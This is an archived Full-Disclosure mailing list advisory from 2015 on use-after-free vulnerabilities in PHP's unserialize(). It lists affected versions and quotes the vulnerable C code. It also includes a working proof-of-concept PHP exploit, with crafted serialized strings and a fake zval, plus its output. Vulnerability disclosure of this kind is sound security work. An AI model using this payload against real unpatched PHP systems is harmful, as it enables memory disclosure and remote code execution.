lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CANDcD1WnSCXCDFJ7QK3ExOQbkTHfhLgwhxyYt-cLMX=cp7w_kw@mail.gmail.com> Date: Sat, 5 Sep 2015 10:52:02 +0800 From: Taoguang Chen <taoguangchen@...il.com> To: fulldisclosure <fulldisclosure@...lists.org> Subject: Re: [FD] Use After Free Vulnerabilities in unserialize() Update affected versions: Affected Versions ------------ Affected is PHP 5.6 < 5.6.13 Affected is PHP 5.5 < 5.5.29 Affected is PHP 5.4 < 5.4.45 2015-09-05 10:08 GMT+08:00 Taoguang Chen <taoguangchen@...il.com>: > #Use After Free Vulnerabilities in unserialize() > > Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.7.31 - Release Date: 2015.9.4 > > > Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. > > Affected Versions > ------------ > Affected is PHP 5.6 < 5.6.12 > Affected is PHP 5.5 < 5.5.28 > Affected is PHP 5.4 < 5.4.44 > > Credits > ------------ > This vulnerability was disclosed by Taoguang Chen. > > Description > ------------ > ``` > if (ce->unserialize == NULL) { > zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name)); > object_init_ex(rval, ce); > } else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash) != SUCCESS) { > return 0; > } > > (*p) += datalen; > > return finish_nested_data(UNSERIALIZE_PASSTHRU); > ``` > > The unserialize() with Serializable class lead to various problems. > > i) Free the memory via crafted Serializable class > > ``` > <?php > > class obj implements Serializable { > var $data; > function serialize() { > return serialize($this->data); > } > function unserialize($data) { > $this->data = unserialize($data); > $this->data = 1; > } > } > > ?> > ``` > > ii) Free the memory via the process_nested_data() with a invalid serialized string > > ``` > static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops) > { > while (elements-- > 0) { > zval *key, *data, **old_data; > > ... > > ALLOC_INIT_ZVAL(data); > > if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) { > zval_dtor(key); > FREE_ZVAL(key); > zval_dtor(data); > FREE_ZVAL(data); <=== free the memory > return 0; > } > ``` > > iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy(). > > ``` > PHPAPI void var_destroy(php_unserialize_data_t *var_hashx) > { > > ... > > while (var_hash) { > for (i = 0; i < var_hash->used_slots; i++) { > zval_ptr_dtor(&var_hash->data[i]); <=== free the memory > } > > ... > > PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER) > { > > ... > > if (*rval != NULL) { > var_push_dtor_no_addref(var_hash, rval); > } > *rval = *rval_ref; > ``` > > We can create ZVAL and free it via Serializable::unserialize. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely. > > Proof of Concept Exploit > ------------ > The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43. > > ``` > <?php > > $fakezval = ptr2str(1122334455); > $fakezval .= ptr2str(0); > $fakezval .= "\x00\x00\x00\x00"; > $fakezval .= "\x01"; > $fakezval .= "\x00"; > $fakezval .= "\x00\x00"; > > // i) > //$inner = 'a:1:{i:0;i:1;}'; > //$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; > // ii) > $inner = 'a:2:{i:0;i:1;i:1;i:2'; > $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}'; > // iii) > //$inner = 'r:1;'; > //$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}'; > > $data = unserialize($exploit); > > for ($i = 0; $i < 5; $i++) { > $v[$i] = $fakezval.$i; > } > > var_dump($data); > > function ptr2str($ptr) > { > $out = ""; > for ($i = 0; $i < 8; $i++) { > $out .= chr($ptr & 0xff); > $ptr >>= 8; > } > return $out; > } > > class obj implements Serializable { > var $data; > function serialize() { > return serialize($this->data); > } > function unserialize($data) { > $this->data = unserialize($data); > // i) > // $this->data = '1'; > } > } > > ?> > ``` > > Test the PoC on the command line: > > ``` > $ php uafpoc.php > array(2) { > [0]=> > object(obj)#1 (1) { > ["data"]=> > bool(false) > } > [1]=> > int(1122334455) <=== so we can control the memory and create fake ZVAL :) > } > ``` > > _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists